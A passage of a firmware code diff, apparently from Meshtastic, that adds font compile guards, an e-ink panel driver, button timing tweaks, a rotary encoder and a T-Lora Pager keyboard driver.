/* LOG_WARN("alertBannerOptions: %u, curSelected: %u, visibleTotalLines: %u, lineCount: %u, firstOptionToShow: %u",
|
||||
alertBannerOptions, curSelected, visibleTotalLines, lineCount, firstOptionToShow); */
|
||||
|
||||
for (int i = firstOptionToShow; i < alertBannerOptions && linesShown < visibleTotalLines; i++, linesShown++) {
|
||||
if (i == curSelected) {
|
||||
|
||||
@@ -194,7 +194,7 @@ void UIRenderer::drawNodes(OLEDDisplay *display, int16_t x, int16_t y, const mes
|
||||
}
|
||||
|
||||
#if (defined(USE_EINK) || defined(ILI9341_DRIVER) || defined(ILI9342_DRIVER) || defined(ST7701_CS) || defined(ST7735_CS) || \
|
||||
defined(ST7789_CS) || defined(USE_ST7789) || defined(ILI9488_CS) || defined(HX8357_CS)) && \
|
||||
defined(ST7789_CS) || defined(USE_ST7789) || defined(ILI9488_CS) || defined(HX8357_CS) || defined(ST7796_CS)) && \
|
||||
!defined(DISPLAY_FORCE_SMALL_FONTS)
|
||||
|
||||
if (isHighResolution) {
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
#ifdef USE_EINK
|
||||
|
||||
#include "EinkDisplayFonts.h"
|
||||
|
||||
// Created by https://oleddisplay.squix.ch/ Consider a donation
|
||||
@@ -1182,3 +1184,5 @@ const uint8_t Monospaced_plain_30[] PROGMEM = {
|
||||
0xF0, 0xFF, 0x01, 0x00, 0x00, 0xC0, 0x7F, 0x00, 0x00, 0x00, 0xF0, 0x0F, 0x00, 0xE0, 0x00, 0xFE, 0x03, 0x00, 0xE0, 0x80, 0x7F,
|
||||
0x00, 0x00, 0xE0, 0xE0, 0x1F, 0x00, 0x00, 0x00, 0xF0, 0x03, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x10 // 255
|
||||
};
|
||||
|
||||
#endif // USE_EINK
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
#ifndef EINKDISPLAYFONTS_h
|
||||
#define EINKDISPLAYFONTS_h
|
||||
|
||||
#ifdef USE_EINK
|
||||
|
||||
#ifdef ARDUINO
|
||||
#include <Arduino.h>
|
||||
#elif __MBED__
|
||||
@@ -11,4 +13,7 @@
|
||||
* Monospaced Plain 30
|
||||
*/
|
||||
extern const uint8_t Monospaced_plain_30[] PROGMEM;
|
||||
|
||||
#endif // USE_EINK
|
||||
|
||||
#endif
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
#ifdef OLED_CS
|
||||
|
||||
#include "OLEDDisplayFontsCS.h"
|
||||
|
||||
// Font generated or edited with the glyphEditor
|
||||
@@ -1860,4 +1862,6 @@ const uint8_t ArialMT_Plain_24_CS[] PROGMEM = {
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x7E, 0x00, 0x06, 0xC0, 0xF0, 0x01, 0x06, 0xC0, 0x80, 0x0F, 0x07, 0x00,
|
||||
0x00, 0xFE, 0x03, 0x00, 0x00, 0xFC, 0x00, 0xC0, 0xC0, 0x1F, 0x00, 0xC0, 0xF8, 0x03, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00,
|
||||
0x06, // 255
|
||||
};
|
||||
};
|
||||
|
||||
#endif // OLED_CS
|
||||
@@ -1,4 +1,5 @@
|
||||
// trunk-ignore-all(clang-format): Preserve long lines
|
||||
#ifdef OLED_PL
|
||||
#include "OLEDDisplayFontsPL.h"
|
||||
|
||||
const uint8_t ArialMT_Plain_10_PL[] PROGMEM = {
|
||||
@@ -1310,4 +1311,6 @@ const uint8_t ArialMT_Plain_24_PL[] PROGMEM = {
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x7E, 0x00, 0x06, 0x00, 0xF0, 0x01, 0x06, 0x00, 0x80, 0x0F, 0x07, 0x80, 0x00, 0xFE, 0x03, 0xE0, 0x00, 0xFC, 0x00, 0x60, 0xC0, 0x1F, 0x00, 0x20, 0xF8, 0x03, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x06, // 253
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0xFF, 0xFF, 0x07, 0xE0, 0xFF, 0xFF, 0x07, 0x00, 0x1C, 0x18, 0x00, 0x00, 0x06, 0x30, 0x00, 0x00, 0x06, 0x30, 0x00, 0x00, 0x06, 0x30, 0x00, 0x00, 0x0E, 0x38, 0x00, 0x00, 0x1C, 0x1C, 0x00, 0x00, 0xF8, 0x0F, 0x00, 0x00, 0xF0, 0x03, // 254
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x7E, 0x00, 0x06, 0xC0, 0xF0, 0x01, 0x06, 0xC0, 0x80, 0x0F, 0x07, 0x00, 0x00, 0xFE, 0x03, 0x00, 0x00, 0xFC, 0x00, 0xC0, 0xC0, 0x1F, 0x00, 0xC0, 0xF8, 0x03, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x06, // 255
|
||||
};
|
||||
};
|
||||
|
||||
#endif // OLED_PL
|
||||
File diff suppressed because it is too large
Load Diff
@@ -8,4 +8,6 @@
|
||||
#endif
|
||||
|
||||
extern const uint8_t ArialMT_Plain_10_RU[] PROGMEM;
|
||||
extern const uint8_t ArialMT_Plain_16_RU[] PROGMEM;
|
||||
extern const uint8_t ArialMT_Plain_24_RU[] PROGMEM;
|
||||
#endif
|
||||
@@ -1,3 +1,5 @@
|
||||
#ifdef OLED_UA
|
||||
|
||||
#include "OLEDDisplayFontsUA.h"
|
||||
|
||||
// Font generated or edited with the glyphEditor
|
||||
@@ -1920,4 +1922,6 @@ const uint8_t ArialMT_Plain_24_UA[] PROGMEM = {
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0xC1, 0x00, 0x00, 0xF0, 0xE3, 0x00, 0x00, 0x38, 0x7B, 0x00, 0x00, 0x18, 0x1A, 0x00, 0x00,
|
||||
0x18, 0x0E, 0x00, 0x00, 0x18, 0x06, 0x00, 0x00, 0x18, 0x06, 0x00, 0x00, 0x18, 0x06, 0x00, 0x00, 0xF8, 0xFF, 0x00, 0x00, 0xF8,
|
||||
0xFF, // 1103
|
||||
};
|
||||
};
|
||||
|
||||
#endif // OLED_UA
|
||||
@@ -27,7 +27,8 @@ const uint8_t bluetoothConnectedIcon[36] PROGMEM = {0xfe, 0x01, 0xff, 0x03, 0x03
|
||||
0xfe, 0x31, 0x00, 0x30, 0x30, 0x30, 0x30, 0x30, 0xf0, 0x3f, 0xe0, 0x1f};
|
||||
|
||||
#if (defined(USE_EINK) || defined(ILI9341_DRIVER) || defined(ILI9342_DRIVER) || defined(ST7701_CS) || defined(ST7735_CS) || \
|
||||
defined(ST7789_CS) || defined(USE_ST7789) || defined(HX8357_CS) || defined(ILI9488_CS) || ARCH_PORTDUINO) && \
|
||||
defined(ST7789_CS) || defined(USE_ST7789) || defined(HX8357_CS) || defined(ILI9488_CS) || defined(ST7796_CS) || \
|
||||
ARCH_PORTDUINO) && \
|
||||
!defined(DISPLAY_FORCE_SMALL_FONTS)
|
||||
const uint8_t imgQuestionL1[] PROGMEM = {0xff, 0x01, 0x01, 0x32, 0x7b, 0x49, 0x49, 0x6f, 0x26, 0x01, 0x01, 0xff};
|
||||
const uint8_t imgQuestionL2[] PROGMEM = {0x0f, 0x08, 0x08, 0x08, 0x06, 0x0f, 0x0f, 0x06, 0x08, 0x08, 0x08, 0x0f};
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
#include "./ZJY122250_0213BAAMFGN.h"
|
||||
|
||||
#ifdef MESHTASTIC_INCLUDE_NICHE_GRAPHICS
|
||||
|
||||
using namespace NicheGraphics::Drivers;
|
||||
|
||||
// Map the display controller IC's output to the connected panel
|
||||
void ZJY122250_0213BAAMFGN::configScanning()
|
||||
{
|
||||
// "Driver output control"
|
||||
// Scan gates from 0 to 249 (vertical resolution 250px)
|
||||
sendCommand(0x01);
|
||||
sendData(0xF9);
|
||||
sendData(0x00);
|
||||
sendData(0x00);
|
||||
}
|
||||
|
||||
// Specify which information is used to control the sequence of voltages applied to move the pixels
|
||||
// - For this display, configUpdateSequence() specifies that a suitable LUT will be loaded from
|
||||
// the controller IC's OTP memory, when the update procedure begins.
|
||||
void ZJY122250_0213BAAMFGN::configWaveform()
|
||||
{
|
||||
switch (updateType) {
|
||||
case FAST:
|
||||
sendCommand(0x3C); // Border waveform:
|
||||
sendData(0x80); // VCOM
|
||||
break;
|
||||
case FULL:
|
||||
default:
|
||||
sendCommand(0x3C); // Border waveform:
|
||||
sendData(0x01); // Follow LUT 1 (blink same as white pixels)
|
||||
break;
|
||||
}
|
||||
|
||||
sendCommand(0x18); // Temperature sensor:
|
||||
sendData(0x80); // Use internal temperature sensor to select an appropriate refresh waveform
|
||||
}
|
||||
|
||||
void ZJY122250_0213BAAMFGN::configUpdateSequence()
|
||||
{
|
||||
switch (updateType) {
|
||||
case FAST:
|
||||
sendCommand(0x22); // Set "update sequence"
|
||||
sendData(0xFF); // Will load LUT from OTP memory, Display mode 2 "differential refresh"
|
||||
break;
|
||||
|
||||
case FULL:
|
||||
default:
|
||||
sendCommand(0x22); // Set "update sequence"
|
||||
sendData(0xF7); // Will load LUT from OTP memory
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Once the refresh operation has been started,
|
||||
// begin periodically polling the display to check for completion, using the normal Meshtastic threading code
|
||||
// Only used when refresh is "async"
|
||||
void ZJY122250_0213BAAMFGN::detachFromUpdate()
|
||||
{
|
||||
switch (updateType) {
|
||||
case FAST:
|
||||
return beginPolling(50, 500); // At least 500ms for fast refresh
|
||||
case FULL:
|
||||
default:
|
||||
return beginPolling(100, 2000); // At least 2 seconds for full refresh
|
||||
}
|
||||
}
|
||||
#endif // MESHTASTIC_INCLUDE_NICHE_GRAPHICS
|
||||
@@ -0,0 +1,42 @@
|
||||
/*
|
||||
|
||||
E-Ink display driver
|
||||
- ZJY122250_0213BAAMFGN
|
||||
- Manufacturer: Zhongjingyuan
|
||||
- Size: 2.13 inch
|
||||
- Resolution: 250px x 122px
|
||||
- Flex connector marking (not a unique identifier): FPC-A002
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifdef MESHTASTIC_INCLUDE_NICHE_GRAPHICS
|
||||
|
||||
#include "configuration.h"
|
||||
|
||||
#include "./SSD16XX.h"
|
||||
|
||||
namespace NicheGraphics::Drivers
|
||||
{
|
||||
class ZJY122250_0213BAAMFGN : public SSD16XX
|
||||
{
|
||||
// Display properties
|
||||
private:
|
||||
static constexpr uint32_t width = 122;
|
||||
static constexpr uint32_t height = 250;
|
||||
static constexpr UpdateTypes supported = (UpdateTypes)(FULL | FAST);
|
||||
|
||||
public:
|
||||
ZJY122250_0213BAAMFGN() : SSD16XX(width, height, supported) {}
|
||||
|
||||
protected:
|
||||
virtual void configScanning() override;
|
||||
virtual void configWaveform() override;
|
||||
virtual void configUpdateSequence() override;
|
||||
void detachFromUpdate() override;
|
||||
};
|
||||
|
||||
} // namespace NicheGraphics::Drivers
|
||||
|
||||
#endif // MESHTASTIC_INCLUDE_NICHE_GRAPHICS
|
||||
@@ -7,12 +7,7 @@ using namespace NicheGraphics;
|
||||
|
||||
// Timing for "maintenance"
|
||||
// Paying off full-refresh debt with unprovoked updates, if the display is not very active
|
||||
|
||||
#ifdef SEEED_WIO_TRACKER_L1
|
||||
static constexpr uint32_t MAINTENANCE_MS_INITIAL = 5 * 1000UL;
|
||||
#else
|
||||
static constexpr uint32_t MAINTENANCE_MS_INITIAL = 60 * 1000UL;
|
||||
#endif
|
||||
static constexpr uint32_t MAINTENANCE_MS = 60 * 60 * 1000UL;
|
||||
|
||||
InkHUD::DisplayHealth::DisplayHealth() : concurrency::OSThread("Mediator")
|
||||
|
||||
@@ -92,8 +92,11 @@ bool ButtonThread::initButton(const ButtonConfig &config)
|
||||
if (config.shortLong != INPUT_BROKER_NONE) {
|
||||
_shortLong = config.shortLong;
|
||||
}
|
||||
|
||||
#ifdef USE_EINK
|
||||
userButton.setDebounceMs(0);
|
||||
#else
|
||||
userButton.setDebounceMs(1);
|
||||
#endif
|
||||
userButton.setPressMs(_longPressTime);
|
||||
|
||||
if (screen) {
|
||||
@@ -137,8 +140,7 @@ int32_t ButtonThread::runOnce()
|
||||
}
|
||||
|
||||
// Progressive lead-up sound system
|
||||
if (buttonCurrentlyPressed && (millis() - buttonPressStartTime) >= BUTTON_LEADUP_MS &&
|
||||
(millis() - buttonPressStartTime) < _longLongPressTime) {
|
||||
if (buttonCurrentlyPressed && (millis() - buttonPressStartTime) >= BUTTON_LEADUP_MS) {
|
||||
|
||||
// Start the progressive sequence if not already active
|
||||
if (!leadUpSequenceActive) {
|
||||
@@ -150,13 +152,14 @@ int32_t ButtonThread::runOnce()
|
||||
else if ((millis() - lastLeadUpNoteTime) >= 400) { // 400ms interval between notes
|
||||
if (playNextLeadUpNote()) {
|
||||
lastLeadUpNoteTime = millis();
|
||||
} else {
|
||||
leadUpPlayed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Reset when button is released
|
||||
if (!buttonCurrentlyPressed && buttonWasPressed) {
|
||||
leadUpPlayed = false;
|
||||
leadUpSequenceActive = false;
|
||||
resetLeadUpSequence();
|
||||
}
|
||||
@@ -253,12 +256,13 @@ int32_t ButtonThread::runOnce()
|
||||
|
||||
LOG_INFO("LONG PRESS RELEASE AFTER %u MILLIS", millis() - buttonPressStartTime);
|
||||
if (millis() > 30000 && _longLongPress != INPUT_BROKER_NONE &&
|
||||
(millis() - buttonPressStartTime) >= _longLongPressTime) {
|
||||
(millis() - buttonPressStartTime) >= _longLongPressTime && leadUpPlayed) {
|
||||
evt.inputEvent = _longLongPress;
|
||||
this->notifyObservers(&evt);
|
||||
}
|
||||
// Reset combination tracking
|
||||
waitingForLongPress = false;
|
||||
leadUpPlayed = false;
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -92,7 +92,7 @@ class ButtonThread : public Observable<const InputEvent *>, public concurrency::
|
||||
|
||||
voidFuncPtr _intRoutine = nullptr;
|
||||
uint16_t _longPressTime = 500;
|
||||
uint16_t _longLongPressTime = 5000;
|
||||
uint16_t _longLongPressTime = 3900;
|
||||
int _pinNum = 0;
|
||||
bool _activeLow = true;
|
||||
bool _touchQuirk = false;
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
#ifdef T_LORA_PAGER
|
||||
|
||||
#include "RotaryEncoderImpl.h"
|
||||
#include "InputBroker.h"
|
||||
#include "RotaryEncoder.h"
|
||||
|
||||
#define ORIGIN_NAME "RotaryEncoder"
|
||||
|
||||
RotaryEncoderImpl *rotaryEncoderImpl;
|
||||
|
||||
RotaryEncoderImpl::RotaryEncoderImpl() : concurrency::OSThread(ORIGIN_NAME), originName(ORIGIN_NAME)
|
||||
{
|
||||
rotary = nullptr;
|
||||
}
|
||||
|
||||
bool RotaryEncoderImpl::init()
|
||||
{
|
||||
if (!moduleConfig.canned_message.updown1_enabled || moduleConfig.canned_message.inputbroker_pin_a == 0 ||
|
||||
moduleConfig.canned_message.inputbroker_pin_b == 0) {
|
||||
// Input device is disabled.
|
||||
disable();
|
||||
return false;
|
||||
}
|
||||
|
||||
eventCw = static_cast<input_broker_event>(moduleConfig.canned_message.inputbroker_event_cw);
|
||||
eventCcw = static_cast<input_broker_event>(moduleConfig.canned_message.inputbroker_event_ccw);
|
||||
eventPressed = static_cast<input_broker_event>(moduleConfig.canned_message.inputbroker_event_press);
|
||||
|
||||
rotary = new RotaryEncoder(moduleConfig.canned_message.inputbroker_pin_a, moduleConfig.canned_message.inputbroker_pin_b,
|
||||
moduleConfig.canned_message.inputbroker_pin_press);
|
||||
rotary->resetButton();
|
||||
|
||||
inputBroker->registerSource(this);
|
||||
|
||||
LOG_INFO("RotaryEncoder initialized pins(%d, %d, %d), events(%d, %d, %d)", moduleConfig.canned_message.inputbroker_pin_a,
|
||||
moduleConfig.canned_message.inputbroker_pin_b, moduleConfig.canned_message.inputbroker_pin_press, eventCw, eventCcw,
|
||||
eventPressed);
|
||||
return true;
|
||||
}
|
||||
|
||||
int32_t RotaryEncoderImpl::runOnce()
|
||||
{
|
||||
InputEvent e;
|
||||
e.inputEvent = INPUT_BROKER_NONE;
|
||||
e.source = this->originName;
|
||||
|
||||
static uint32_t lastPressed = millis();
|
||||
if (rotary->readButton() == RotaryEncoder::ButtonState::BUTTON_PRESSED) {
|
||||
if (lastPressed + 200 < millis()) {
|
||||
LOG_DEBUG("Rotary event Press");
|
||||
lastPressed = millis();
|
||||
e.inputEvent = this->eventPressed;
|
||||
}
|
||||
} else {
|
||||
switch (rotary->process()) {
|
||||
case RotaryEncoder::DIRECTION_CW:
|
||||
LOG_DEBUG("Rotary event CW");
|
||||
e.inputEvent = this->eventCw;
|
||||
break;
|
||||
case RotaryEncoder::DIRECTION_CCW:
|
||||
LOG_DEBUG("Rotary event CCW");
|
||||
e.inputEvent = this->eventCcw;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (e.inputEvent != INPUT_BROKER_NONE) {
|
||||
this->notifyObservers(&e);
|
||||
}
|
||||
|
||||
return 20;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,28 @@
|
||||
#pragma once
|
||||
|
||||
// This is a non-interrupt version of RotaryEncoder which is based on a debounce inherent FSM table (see RotaryEncoder library)
|
||||
|
||||
#include "InputBroker.h"
|
||||
#include "concurrency/OSThread.h"
|
||||
#include "mesh/NodeDB.h"
|
||||
|
||||
class RotaryEncoder;
|
||||
|
||||
class RotaryEncoderImpl : public Observable<const InputEvent *>, public concurrency::OSThread
|
||||
{
|
||||
public:
|
||||
RotaryEncoderImpl();
|
||||
bool init(void);
|
||||
|
||||
protected:
|
||||
virtual int32_t runOnce() override;
|
||||
|
||||
input_broker_event eventCw = INPUT_BROKER_NONE;
|
||||
input_broker_event eventCcw = INPUT_BROKER_NONE;
|
||||
input_broker_event eventPressed = INPUT_BROKER_NONE;
|
||||
|
||||
RotaryEncoder *rotary;
|
||||
const char *originName;
|
||||
};
|
||||
|
||||
extern RotaryEncoderImpl *rotaryEncoderImpl;
|
||||
@@ -18,14 +18,23 @@ void RotaryEncoderInterruptBase::init(
|
||||
this->_eventCcw = eventCcw;
|
||||
this->_eventPressed = eventPressed;
|
||||
|
||||
pinMode(pinPress, INPUT_PULLUP);
|
||||
pinMode(this->_pinA, INPUT_PULLUP);
|
||||
pinMode(this->_pinB, INPUT_PULLUP);
|
||||
bool isRAK = false;
|
||||
#ifdef RAK_4631
|
||||
isRAK = true;
|
||||
#endif
|
||||
|
||||
// attachInterrupt(pinPress, onIntPress, RISING);
|
||||
attachInterrupt(pinPress, onIntPress, RISING);
|
||||
attachInterrupt(this->_pinA, onIntA, CHANGE);
|
||||
attachInterrupt(this->_pinB, onIntB, CHANGE);
|
||||
if (!isRAK || pinPress != 0) {
|
||||
pinMode(pinPress, INPUT_PULLUP);
|
||||
attachInterrupt(pinPress, onIntPress, RISING);
|
||||
}
|
||||
if (!isRAK || this->_pinA != 0) {
|
||||
pinMode(this->_pinA, INPUT_PULLUP);
|
||||
attachInterrupt(this->_pinA, onIntA, CHANGE);
|
||||
}
|
||||
if (!isRAK || this->_pinA != 0) {
|
||||
pinMode(this->_pinB, INPUT_PULLUP);
|
||||
attachInterrupt(this->_pinB, onIntB, CHANGE);
|
||||
}
|
||||
|
||||
this->rotaryLevelA = digitalRead(this->_pinA);
|
||||
this->rotaryLevelB = digitalRead(this->_pinB);
|
||||
|
||||
@@ -0,0 +1,230 @@
|
||||
#if defined(T_LORA_PAGER)
|
||||
|
||||
#include "TLoraPagerKeyboard.h"
|
||||
#include "main.h"
|
||||
|
||||
#ifndef LEDC_BACKLIGHT_CHANNEL
|
||||
#define LEDC_BACKLIGHT_CHANNEL 4
|
||||
#endif
|
||||
|
||||
#ifndef LEDC_BACKLIGHT_BIT_WIDTH
|
||||
#define LEDC_BACKLIGHT_BIT_WIDTH 8
|
||||
#endif
|
||||
|
||||
#ifndef LEDC_BACKLIGHT_FREQ
|
||||
#define LEDC_BACKLIGHT_FREQ 1000 // Hz
|
||||
#endif
|
||||
|
||||
#define _TCA8418_COLS 10
|
||||
#define _TCA8418_ROWS 4
|
||||
#define _TCA8418_NUM_KEYS 31
|
||||
|
||||
#define _TCA8418_MULTI_TAP_THRESHOLD 1500
|
||||
|
||||
using Key = TCA8418KeyboardBase::TCA8418Key;
|
||||
|
||||
constexpr uint8_t modifierRightShiftKey = 29 - 1; // keynum -1
|
||||
constexpr uint8_t modifierRightShift = 0b0001;
|
||||
constexpr uint8_t modifierSymKey = 21 - 1;
|
||||
constexpr uint8_t modifierSym = 0b0010;
|
||||
|
||||
// Num chars per key, Modulus for rotating through characters
|
||||
static uint8_t TLoraPagerTapMod[_TCA8418_NUM_KEYS] = {3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
|
||||
3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3};
|
||||
|
||||
static unsigned char TLoraPagerTapMap[_TCA8418_NUM_KEYS][3] = {{'q', 'Q', '1'},
|
||||
{'w', 'W', '2'},
|
||||
{'e', 'E', '3'},
|
||||
{'r', 'R', '4'},
|
||||
{'t', 'T', '5'},
|
||||
{'y', 'Y', '6'},
|
||||
{'u', 'U', '7'},
|
||||
{'i', 'I', '8'},
|
||||
{'o', 'O', '9'},
|
||||
{'p', 'P', '0'},
|
||||
{'a', 'A', '*'},
|
||||
{'s', 'S', '/'},
|
||||
{'d', 'D', '+'},
|
||||
{'f', 'F', '-'},
|
||||
{'g', 'G', '='},
|
||||
{'h', 'H', ':'},
|
||||
{'j', 'J', '\''},
|
||||
{'k', 'K', '"'},
|
||||
{'l', 'L', '@'},
|
||||
{Key::SELECT, 0x00, Key::TAB},
|
||||
{0x00, 0x00, 0x00},
|
||||
{'z', 'Z', '_'},
|
||||
{'x', 'X', '$'},
|
||||
{'c', 'C', ';'},
|
||||
{'v', 'V', '?'},
|
||||
{'b', 'B', '!'},
|
||||
{'n', 'N', ','},
|
||||
{'m', 'M', '.'},
|
||||
{0x00, 0x00, 0x00},
|
||||
{Key::BSP, 0x00, Key::ESC},
|
||||
{' ', 0x00, Key::BL_TOGGLE}};
|
||||
|
||||
TLoraPagerKeyboard::TLoraPagerKeyboard()
|
||||
: TCA8418KeyboardBase(_TCA8418_ROWS, _TCA8418_COLS), modifierFlag(0), last_modifier_time(0), last_key(-1), next_key(-1),
|
||||
last_tap(0L), char_idx(0), tap_interval(0)
|
||||
{
|
||||
#if ESP_IDF_VERSION >= ESP_IDF_VERSION_VAL(5, 0, 0)
|
||||
ledcAttach(KB_BL_PIN, LEDC_BACKLIGHT_FREQ, LEDC_BACKLIGHT_BIT_WIDTH);
|
||||
#else
|
||||
ledcSetup(LEDC_BACKLIGHT_CHANNEL, LEDC_BACKLIGHT_FREQ, LEDC_BACKLIGHT_BIT_WIDTH);
|
||||
ledcAttachPin(KB_BL_PIN, LEDC_BACKLIGHT_CHANNEL);
|
||||
#endif
|
||||
reset();
|
||||
}
|
||||
|
||||
void TLoraPagerKeyboard::reset(void)
|
||||
{
|
||||
TCA8418KeyboardBase::reset();
|
||||
pinMode(KB_BL_PIN, OUTPUT);
|
||||
digitalWrite(KB_BL_PIN, LOW);
|
||||
setBacklight(false);
|
||||
}
|
||||
|
||||
// handle multi-key presses (shift and alt)
|
||||
void TLoraPagerKeyboard::trigger()
|
||||
{
|
||||
uint8_t count = keyCount();
|
||||
if (count == 0)
|
||||
return;
|
||||
for (uint8_t i = 0; i < count; ++i) {
|
||||
uint8_t k = readRegister(TCA8418_REG_KEY_EVENT_A + i);
|
||||
uint8_t key = k & 0x7F;
|
||||
if (k & 0x80) {
|
||||
pressed(key);
|
||||
} else {
|
||||
released();
|
||||
state = Idle;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void TLoraPagerKeyboard::setBacklight(bool on)
|
||||
{
|
||||
toggleBacklight(!on);
|
||||
}
|
||||
|
||||
void TLoraPagerKeyboard::pressed(uint8_t key)
|
||||
{
|
||||
if (state == Init || state == Busy) {
|
||||
return;
|
||||
}
|
||||
if (config.device.buzzer_mode == meshtastic_Config_DeviceConfig_BuzzerMode_ALL_ENABLED ||
|
||||
config.device.buzzer_mode == meshtastic_Config_DeviceConfig_BuzzerMode_SYSTEM_ONLY) {
|
||||
hapticFeedback();
|
||||
}
|
||||
|
||||
if (modifierFlag && (millis() - last_modifier_time > _TCA8418_MULTI_TAP_THRESHOLD)) {
|
||||
modifierFlag = 0;
|
||||
}
|
||||
|
||||
uint8_t next_key = 0;
|
||||
int row = (key - 1) / 10;
|
||||
int col = (key - 1) % 10;
|
||||
|
||||
if (row >= _TCA8418_ROWS || col >= _TCA8418_COLS) {
|
||||
return; // Invalid key
|
||||
}
|
||||
|
||||
next_key = row * _TCA8418_COLS + col;
|
||||
state = Held;
|
||||
|
||||
uint32_t now = millis();
|
||||
tap_interval = now - last_tap;
|
||||
|
||||
updateModifierFlag(next_key);
|
||||
if (isModifierKey(next_key)) {
|
||||
last_modifier_time = now;
|
||||
}
|
||||
|
||||
if (tap_interval < 0) {
|
||||
last_tap = 0;
|
||||
state = Busy;
|
||||
return;
|
||||
}
|
||||
|
||||
if (next_key != last_key || tap_interval > _TCA8418_MULTI_TAP_THRESHOLD) {
|
||||
char_idx = 0;
|
||||
} else {
|
||||
char_idx += 1;
|
||||
}
|
||||
|
||||
last_key = next_key;
|
||||
last_tap = now;
|
||||
}
|
||||
|
||||
void TLoraPagerKeyboard::released()
|
||||
{
|
||||
if (state != Held) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (last_key < 0 || last_key >= _TCA8418_NUM_KEYS) {
|
||||
last_key = -1;
|
||||
state = Idle;
|
||||
return;
|
||||
}
|
||||
|
||||
uint32_t now = millis();
|
||||
last_tap = now;
|
||||
|
||||
if (TLoraPagerTapMap[last_key][modifierFlag % TLoraPagerTapMod[last_key]] == Key::BL_TOGGLE) {
|
||||
toggleBacklight();
|
||||
return;
|
||||
}
|
||||
|
||||
queueEvent(TLoraPagerTapMap[last_key][modifierFlag % TLoraPagerTapMod[last_key]]);
|
||||
if (isModifierKey(last_key) == false)
|
||||
modifierFlag = 0;
|
||||
}
|
||||
|
||||
void TLoraPagerKeyboard::hapticFeedback()
|
||||
{
|
||||
drv.setWaveform(0, 14); // strong buzz 100%
|
||||
drv.setWaveform(1, 0); // end waveform
|
||||
drv.go();
|
||||
}
|
||||
|
||||
// toggle brightness of the backlight in three steps
|
||||
void TLoraPagerKeyboard::toggleBacklight(bool off)
|
||||
{
|
||||
static uint32_t brightness = 0;
|
||||
if (off) {
|
||||
brightness = 0;
|
||||
} else {
|
||||
if (brightness == 0) {
|
||||
brightness = 40;
|
||||
} else if (brightness == 40) {
|
||||
brightness = 127;
|
||||
} else if (brightness >= 127) {
|
||||
brightness = 0;
|
||||
}
|
||||
}
|
||||
LOG_DEBUG("Toggle backlight: %d", brightness);
|
||||
|
||||
#if ESP_IDF_VERSION >= ESP_IDF_VERSION_VAL(5, 0, 0)
|
||||
ledcWrite(KB_BL_PIN, brightness);
|
||||
#else
|
||||
ledcWrite(LEDC_BACKLIGHT_CHANNEL, brightness);
|
||||
#endif
|
||||
}
|
||||
|
||||
void TLoraPagerKeyboard::updateModifierFlag(uint8_t key)
|
||||
{
|
||||
if (key == modifierRightShiftKey) {
|
||||
modifierFlag ^= modifierRightShift;
|
||||
} else if (key == modifierSymKey) {
|
||||
modifierFlag ^= modifierSym;
|
||||
}
|
||||
}
|
||||
|
||||
bool TLoraPagerKeyboard::isModifierKey(uint8_t key)
|
||||
{
|
||||
return (key == modifierRightShiftKey || key == modifierSymKey);
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -4,9 +4,26 @@ class TLoraPagerKeyboard : public TCA8418KeyboardBase
|
||||
{
|
||||
public:
|
||||
TLoraPagerKeyboard();
|
||||
void setBacklight(bool on) override{};
|
||||
void reset(void);
|
||||
void trigger(void) override;
|
||||
void setBacklight(bool on) override;
|
||||
virtual ~TLoraPagerKeyboard() {}
|
||||
|
||||
protected:
|
||||
void pressed(uint8_t key) override{};
|
||||
void released(void) override{};
|
||||
void pressed(uint8_t key) override;
|
||||
void released(void) override;
|
||||
void hapticFeedback(void);
|
||||
|
||||
void updateModifierFlag(uint8_t key);
|
||||
bool isModifierKey(uint8_t key);
|
||||
void toggleBacklight(bool off = false);
|
||||
|
||||
private:
|
||||
uint8_t modifierFlag; // Flag to indicate if a modifier key is pressed
|
||||
uint32_t last_modifier_time; // Timestamp of the last modifier key press
|
||||
int8_t last_key;
|
||||
int8_t next_key;
|
||||
uint32_t last_tap;
|
||||
uint8_t char_idx;
|
||||
int32_t tap_interval;
|
||||
};
|
||||
|
||||
@@ -15,14 +15,23 @@ void UpDownInterruptBase::init(uint8_t pinDown, uint8_t pinUp, uint8_t pinPress,
|
||||
this->_eventDown = eventDown;
|
||||
this->_eventUp = eventUp;
|
||||
this->_eventPressed = eventPressed;
|
||||
bool isRAK = false;
|
||||
#ifdef RAK_4631
|
||||
isRAK = true;
|
||||
#endif
|
||||
|
||||
pinMode(pinPress, INPUT_PULLUP);
|
||||
pinMode(this->_pinDown, INPUT_PULLUP);
|
||||
pinMode(this->_pinUp, INPUT_PULLUP);
|
||||
|
||||
attachInterrupt(pinPress, onIntPress, RISING);
|
||||
attachInterrupt(this->_pinDown, onIntDown, RISING);
|
||||
attachInterrupt(this->_pinUp, onIntUp, RISING);
|
||||
if (!isRAK || pinPress != 0) {
|
||||
